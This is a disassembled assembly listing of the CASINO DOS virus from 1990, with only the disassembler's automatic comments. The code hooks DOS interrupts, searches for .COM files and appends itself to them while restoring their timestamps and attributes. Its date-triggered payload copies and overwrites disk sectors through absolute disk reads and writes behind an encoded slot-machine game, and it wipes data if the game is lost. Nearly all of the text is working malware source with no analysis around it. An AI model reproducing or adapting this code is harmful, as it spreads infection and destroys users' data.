PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ CASINO ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 31-Aug-90 ÛÛ ;ÛÛ Version: ÛÛ ;ÛÛ Passes: 9 Analysis Options on: H ÛÛ ;ÛÛ Copyright S & S International, 1990 ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 60Ch ; (0000:060C=0) data_2e equ 60Dh ; (0000:060D=0) data_3e equ 60Eh ; (0000:060E=0) data_4e equ 60Fh ; (0000:060F=0) data_5e equ 610h ; (0000:0610=0) data_6e equ 611h ; (0000:0611=0) data_7e equ 612h ; (0000:0612=0) data_8e equ 2 ; (6AE6:0002=0) data_10e equ 3Bh ; (6AE6:003B=0) data_11e equ 3Dh ; (6AE6:003D=0) data_12e equ 3Fh ; (6AE6:003F=0) data_13e equ 40h ; (6AE6:0040=0) data_14e equ 41h ; (6AE6:0041=0) data_15e equ 43h ; (6AE6:0043=6AE6h) data_16e equ 45h ; (6AE6:0045=0) data_17e equ 47h ; (6AE6:0047=6AE6h) data_18e equ 4Dh ; (6AE6:004D=0) data_19e equ 68h ; (6AE6:0068=0) data_20e equ 7Eh ; (6AE6:007E=0) data_21e equ 80h ; (6AE6:0080=0) data_33e equ 716Eh ; (6AE6:716E=0) seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h casino proc far start: nop data_23 db 0E9h data_24 db 48h data_25 db 7, 'ello - Copyright S & S Intern' db 'ational, 1990', 0Ah, 0Dh, '$' db 1Ah db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AA' db 0E6h db 'jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' casino endp ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ; External Entry Point ; ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ int_24h_entry proc far inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx inc cx mov ah,9 mov dx,offset data_25 ; (6AE6:0103=7) int 21h ; DOS Services ah=function 09h ; display char string at ds:dx int 20h ; Program Terminate db 0, 0, 0, 0, 0, 0Fh db 0, 0, 0E9h, 0D3h, 1, 0E9h db 0, 0, 0, 90h, 0E9h, 78h db 2Ah, 2Ah, 2Eh, 43h, 4Fh, 4Dh db 0 db 'C:\COMMAND.COM' db 0, 43h, 4Fh, 4Dh, 4Dh, 41h db 4Eh, 44h, 0FFh db 2Eh, 43h, 4Fh, 4Dh db 15 dup (0) db 3Fh, 0, 0F0h, 3, 2, 0 db 0B3h, 4Bh, 0FCh, 91h, 56h, 5 db 79h, 10h, 0, 0, 0, 0 db 0, 3 db 8 dup (3Fh) db 43h, 4Fh, 4Dh, 3Fh, 8, 0 db 1Eh, 2, 2Eh, 8Bh, 26h, 68h db 20h, 0A9h, 8Eh, 1Fh, 15h, 0E8h db 3, 0, 0 db 'H1000.COM' db 9 dup (0) db 1Fh, 15h, 0A9h, 8Eh, 90h, 90h db 3Dh, 59h, 4Bh, 75h, 4, 0B8h db 66h, 6, 0CFh, 80h, 0FCh, 11h db 74h, 8, 80h, 0FCh, 12h, 74h db 3, 0EBh, 51h, 90h loc_2: cmp al,66h ; 'f' je loc_4 ; Jump if equal mov al,66h ; 'f' int 21h ; DOS Services ah=function 09h ; display char string at ds:dx push ax push bx push cx push dx push es mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx mov al,es:[bx+10h] cmp al,43h ; 'C' jne loc_3 ; Jump if not equal mov al,es:[bx+11h] cmp al,4Fh ; 'O' jne loc_3 ; Jump if not equal mov al,es:[bx+12h] cmp al,4Dh ; 'M' jne loc_3 ; Jump if not equal mov ax,es:[bx+24h] cmp ax,91Ah jb loc_3 ; Jump if below sub ax,91Ah mov cx,ax push cx mov cx,10h mov dx,0 div cx ; ax,dx rem=dx:ax/reg pop cx cmp dx,0 jne loc_3 ; Jump if not equal mov es:[bx+24h],cx loc_3: pop es pop dx pop cx pop bx pop ax iret ; Interrupt return int_24h_entry endp loc_4: push ax push bx push cx push dx push si push di push bp push ds push es mov bx,cs mov ds,bx mov al,0 mov ds:data_18e,al ; (6AE6:004D=0) mov al,ds:data_13e ; (6AE6:0040=0) cmp al,0FFh jne loc_5 ; Jump if not equal jmp loc_15 ; (06B2) loc_5: mov al,0FFh mov ds:data_13e,al ; (6AE6:0040=0) cmp ah,4Bh ; 'K' je loc_6 ; Jump if equal cmp ah,36h ; '6' je loc_7 ; Jump if equal jmp loc_15 ; (06B2) loc_6: mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) mov ds:data_12e,al ; (6AE6:003F=0) jmp short loc_8 ; (0624) db 90h loc_7: mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) mov ds:data_12e,al ; (6AE6:003F=0) cmp dl,0 je loc_8 ; Jump if equal dec dl mov ah,0Eh int 21h ; DOS Services ah=function 0Eh ; set default drive dl (0=a:) loc_8: mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) cmp al,1 ja loc_9 ; Jump if above mov ch,0 push ds pop es mov bx,917h mov al,1 call sub_3 ; (07DB) mov al,1 call sub_4 ; (07EC) cmp ah,0 je loc_9 ; Jump if equal jmp short loc_14 ; (069C) db 90h loc_9: mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx mov ds:data_14e,bx ; (6AE6:0041=0) mov ds:data_15e,es ; (6AE6:0043=6AE6h) mov dx,4Eh mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx mov dx,0Bh mov cx,3Fh mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_14 ; Jump if carry Set mov dx,6Ch call sub_1 ; (06EE) cmp dl,1 jne loc_10 ; Jump if not equal call sub_2 ; (073C) jmp short loc_14 ; (069C) db 90h loc_10: cmp dl,3 je loc_11 ; Jump if equal jmp short loc_14 ; (069C) db 90h loc_11: mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jnc loc_12 ; Jump if carry=0 jmp short loc_14 ; (069C) db 90h loc_12: mov dx,6Ch call sub_1 ; (06EE) cmp dl,1 jne loc_13 ; Jump if not equal call sub_2 ; (073C) jmp short loc_14 ; (069C) db 90h loc_13: cmp dl,3 je loc_11 ; Jump if equal loc_14: mov dl,ds:data_12e ; (6AE6:003F=0) mov ah,0Eh int 21h ; DOS Services ah=function 0Eh ; set default drive dl (0=a:) mov dx,ds:data_14e ; (6AE6:0041=0) mov bx,ds:data_15e ; (6AE6:0043=6AE6h) mov ds,bx mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx loc_15: mov ah,0 mov ds:data_13e,ah ; (6AE6:0040=0) pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax ;* jmp far ptr loc_1 ;*(0273:1460) db 0EAh, 60h, 14h, 73h, 2 db 8Ch, 0CAh, 83h, 0C2h, 10h, 8Eh db 0DAh, 0BAh, 20h, 0, 0B4h, 41h db 0CDh, 21h, 0B8h, 21h, 35h, 0CDh db 21h, 8Ch, 6, 0D4h, 1, 89h db 1Eh, 0D2h, 1, 0BAh, 82h, 0 db 0B8h, 21h, 25h, 0CDh, 21h, 0BAh db 1Bh, 0Ch, 0CDh db 27h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near mov ax,ds:data_19e ; (6AE6:0068=0) cmp ax,0F5B9h ja loc_20 ; Jump if above mov ax,4300h int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx test cl,4 jnz loc_20 ; Jump if not zero test cl,1 jz loc_16 ; Jump if zero and cl,0FEh mov ax,4301h int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx loc_16: mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax mov dx,3 mov cx,1 mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx jnc loc_17 ; Jump if carry=0 jmp short loc_19 ; (0732) db 90h loc_17: cmp ax,0 jne loc_18 ; Jump if not equal jmp short loc_19 ; (0732) db 90h loc_18: mov al,byte ptr ds:data_8e+1 ; (6AE6:0003=0) cmp al,90h jne loc_21 ; Jump if not equal loc_19: mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle loc_20: mov dl,3 retn loc_21: mov dl,1 retn sub_1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near mov ax,5700h int 21h ; DOS Services ah=function 57h ; get/set file date & time mov ds:data_20e,dx ; (6AE6:007E=0) mov ds:data_21e,cx ; (6AE6:0080=0) push bx call sub_5 ; (07FD) mov bx,68h mov ax,[bx] mov dx,0 mov bx,10h div bx ; ax,dx rem=dx:ax/reg inc ax mov ds:data_10e,ax ; (6AE6:003B=0) mul bx ; dx:ax = reg * ax mov ds:data_11e,ax ; (6AE6:003D=0) pop bx mov cx,ds:data_10e ; (6AE6:003B=0) mov si,35Fh mov [si],cx mov cx,0 mov dx,0 mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov dx,605h mov cx,4 mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx mov cx,0 mov dx,ds:data_11e ; (6AE6:003D=0) mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov dx,0 mov cx,91Ah mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx cmp ax,cx jb loc_22 ; Jump if below mov al,ds:data_18e ; (6AE6:004D=0) cmp al,1 je loc_22 ; Jump if equal mov cx,0 mov dx,0 mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov si,9 mov ax,ds:data_11e ; (6AE6:003D=0) add ax,35Ch sub ax,4 mov [si],ax mov dx,7 mov cx,4 mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx loc_22: mov dx,ds:data_20e ; (6AE6:007E=0) mov cx,ds:data_21e ; (6AE6:0080=0) mov ax,5701h int 21h ; DOS Services ah=function 57h ; get/set file date & time mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle call sub_6 ; (0813) retn sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near push ax mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) mov dl,al pop ax mov dh,0 mov cl,1 mov ah,2 int 13h ; Disk dl=drive #: ah=func b2h ; read sectors to memory es:bx retn sub_3 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near push ax mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) mov dl,al pop ax mov dh,0 mov cl,1 mov ah,3 int 13h ; Disk dl=drive #: ah=func b3h ; write sectors from mem es:bx retn sub_4 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_16e,bx ; (6AE6:0045=0) mov ds:data_17e,es ; (6AE6:0047=6AE6h) mov dx,335h mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx retn sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near mov dx,ds:data_16e ; (6AE6:0045=0) mov cx,ds:data_17e ; (6AE6:0047=6AE6h) push ds push cx pop ds mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop ds retn sub_6 endp db 50h, 53h, 51h, 52h, 1Eh, 6 db 0B4h, 0, 0CDh, 13h, 0B4h, 1 db 88h, 26h, 4Dh, 0, 0BFh, 0FFh db 0FFh, 8Eh, 6, 49h, 0, 8Bh db 1Eh, 4Bh, 0, 0B0h, 0, 26h db 88h, 7, 7, 1Fh, 5Ah, 59h db 5Bh, 58h, 0CFh, 8Ch, 0CAh, 0B9h db 3Fh, 0, 3, 0D1h, 83h, 0C2h db 10h, 8Eh, 0DAh, 0A1h, 3Dh, 0 db 5, 3, 6, 0BBh, 0FEh, 0FFh db 2Bh, 0D8h, 89h, 1Eh, 3, 6 db 0BBh, 5, 6, 8Ah, 7, 2Eh db 0A2h, 0, 1, 43h, 8Ah, 7 db 2Eh, 0A2h, 1, 1, 43h, 8Ah db 7, 2Eh, 0A2h, 2, 1, 43h db 8Ah, 7, 2Eh, 0A2h, 3, 1 db 0B4h, 2Ah, 0CDh, 21h, 80h, 0FAh db 0Fh, 74h, 3, 0E9h, 0A2h, 1 loc_23: cmp dh,1 je loc_24 ; Jump if equal cmp dh,4 je loc_24 ; Jump if equal cmp dh,8 je loc_24 ; Jump if equal jmp loc_36 ; (0A33) loc_24: call sub_8 ; (09EB) push ds pop es mov si,613h mov di,613h mov cx,305h cld ; Clear direction locloop_25: lodsb ; String [si] to al sub al,64h ; 'd' stosb ; Store al to es:[di] loop locloop_25 ; Loop if cx > 0 mov dx,613h mov ah,9 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx loc_26: mov ah,7 int 21h ; DOS Services ah=function 07h ; get keybd char al, no echo mov byte ptr ds:data_2e,64h ; (0000:060D=0) 'd' nop mov byte ptr ds:data_3e,78h ; (0000:060E=0) 'x' nop mov byte ptr ds:data_4e,0B4h ; (0000:060F=0) nop mov ah,2Ch ; ',' int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dh=sec mov bl,dh mov bh,0 mov ch,0 mov dh,0 add cl,dl mov ax,cx mov cl,3 div cl ; al, ah rem = ax/reg mov ds:data_5e,ah ; (0000:0610=0) mov ax,dx mov dl,3 div dl ; al, ah rem = ax/reg mov ds:data_6e,ah ; (0000:0611=0) mov ax,bx div dl ; al, ah rem = ax/reg mov ds:data_7e,ah ; (0000:0612=0) dec byte ptr ds:data_1e ; (0000:060C=0) mov al,ds:data_1e ; (0000:060C=0) add al,30h ; '0' mov dh,0Dh mov dl,26h ; '&' mov bx,0 mov ah,2 int 10h ; Video display ah=functn 02h ; set cursor location in dx mov ah,0Eh int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode loc_27: mov dx,1FFFh loc_28: nop nop nop dec dx jnz loc_28 ; Jump if not zero mov al,ds:data_2e ; (0000:060D=0) cmp al,ds:data_5e ; (0000:0610=0) je loc_29 ; Jump if equal mov dl,19h mov al,ds:data_2e ; (0000:060D=0) call sub_7 ; (09C9) mov al,ds:data_2e ; (0000:060D=0) dec al mov ds:data_2e,al ; (0000:060D=0) loc_29: mov al,ds:data_3e ; (0000:060E=0) cmp al,ds:data_6e ; (0000:0611=0) je loc_30 ; Jump if equal mov dl,21h ; '!' mov al,ds:data_3e ; (0000:060E=0) call sub_7 ; (09C9) dec byte ptr ds:data_3e ; (0000:060E=0) loc_30: mov al,ds:data_4e ; (0000:060F=0) cmp al,ds:data_7e ; (0000:0612=0) je loc_31 ; Jump if equal mov dl,29h ; ')' mov al,ds:data_4e ; (0000:060F=0) call sub_7 ; (09C9) dec byte ptr ds:data_4e ; (0000:060F=0) loc_31: mov al,ds:data_4e ; (0000:060F=0) cmp al,ds:data_7e ; (0000:0612=0) jne loc_27 ; Jump if not equal mov ah,ds:data_3e ; (0000:060E=0) cmp ah,ds:data_6e ; (0000:0611=0) jne loc_27 ; Jump if not equal mov bl,ds:data_2e ; (0000:060D=0) cmp bl,ds:data_5e ; (0000:0610=0) jne loc_27 ; Jump if not equal cmp al,0 jne loc_32 ; Jump if not equal cmp ah,0 jne loc_32 ; Jump if not equal cmp bl,0 jne loc_32 ; Jump if not equal mov dx,80Ah mov ah,9 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx call sub_9 ; (0A18) jmp short loc_35 ; (09C7) db 90h loc_32: cmp al,1 jne loc_33 ; Jump if not equal cmp ah,1 jne loc_33 ; Jump if not equal cmp bl,1 jne loc_33 ; Jump if not equal mov dx,88Dh mov ah,9 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx jmp short loc_34 ; (09BD) db 90h loc_33: mov al,ds:data_1e ; (0000:060C=0) cmp al,0 je loc_34 ; Jump if equal jmp loc_26 ; (08BF) loc_34: mov dx,8D6h mov ah,9 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx jmp short loc_35 ; (09C7) nop loc_35: jmp short loc_35 ; (09C7) ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near mov ah,0 push ax mov dh,0Bh mov ah,2 mov bh,0 int 10h ; Video display ah=functn 02h ; set cursor location in dx pop ax mov bl,3 div bl ; al, ah rem = ax/reg mov bl,ah mov bh,0 add bx,609h mov al,[bx] mov ah,0Eh mov bx,0 int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode retn sub_7 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near push ds mov bx,ds add bx,1000h mov ds,bx mov bx,0 mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) mov cx,50h mov dx,0 int 25h ; Absolute disk read, drive al popf ; Pop flags mov bx,0 mov ds,bx mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) mov cx,50h mov dx,0 int 26h ; Absolute disk write, drive al popf ; Pop flags pop ds retn sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near push ds mov bx,ds add bx,1000h mov ds,bx mov bx,0 mov ah,19h int 21h ; DOS Services ah=function 19h ; get default drive al (0=a:) mov cx,50h mov dx,0 int 26h ; Absolute disk write, drive al popf ; Pop flags pop ds retn sub_9 endp loc_36: mov bx,0 mov ax,4B59h int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx cmp ax,666h jne loc_37 ; Jump if not equal jmp loc_41 ; (0AF0) loc_37: push ds pop es push ds push cs pop ds mov si,0 mov di,917h mov cx,100h cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop ds mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx mov ds:data_14e,bx ; (6AE6:0041=0) mov ds:data_15e,es ; (6AE6:0043=6AE6h) mov dx,4Eh mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx mov dx,11h mov cx,3Fh mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_38 ; Jump if carry Set mov dx,11h call sub_1 ; (06EE) cmp dl,1 jne loc_38 ; Jump if not equal call sub_2 ; (073C) loc_38: call sub_5 ; (07FD) mov dx,20h mov cx,2 mov ah,3Ch ; '<' int 21h ; DOS Services ah=function 3Ch ; create/truncate file @ ds:dx jc loc_40 ; Jump if carry Set mov bx,ax mov dx,0 mov cx,91Ah mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx push ax mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle pop ax cmp ax,cx je loc_39 ; Jump if equal mov dx,20h mov ah,41h ; 'A' int 21h ; DOS Services ah=function 41h ; delete file, name @ ds:dx jmp short loc_40 ; (0AD1) db 90h loc_39: push cs pop es mov bx,cs:data_8e ; (6AE6:0002=0) sub bx,92Ch mov cx,cs sub bx,cx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov dx,20h push ds pop es mov bx,2Dh mov ax,4B00h int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx loc_40: call sub_6 ; (0813) push cs pop es mov di,0 mov si,917h mov cx,0FFh cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov dx,ds:data_14e ; (6AE6:0041=0) mov bx,ds:data_15e ; (6AE6:0043=6AE6h) mov ds,bx mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx loc_41: push cs pop ds jmp $-0F32h jmp $+3DFh db 48h, 9Bh, 9Ch, 3Fh, 5, 0Ah db 5, 3, 1, 3, 0, 6Eh db 71h, 6Dh, 6Dh, 84h, 84h, 84h db 0A8h, 0ADh, 0B7h, 0AFh, 84h, 0A8h db 0A9h, 0B7h, 0B8h, 0B6h, 0B3h, 0BDh db 0A9h, 0B6h, 84h, 5Dh, 84h, 0A5h db 84h, 0B7h, 0B3h, 0B9h, 0BAh, 0A9h db 0B2h, 0ADh, 0B6h, 84h, 0B3h, 0AAh db 84h, 0B1h, 0A5h, 0B0h, 0B8h, 0A5h db 6Eh, 71h, 6Eh, 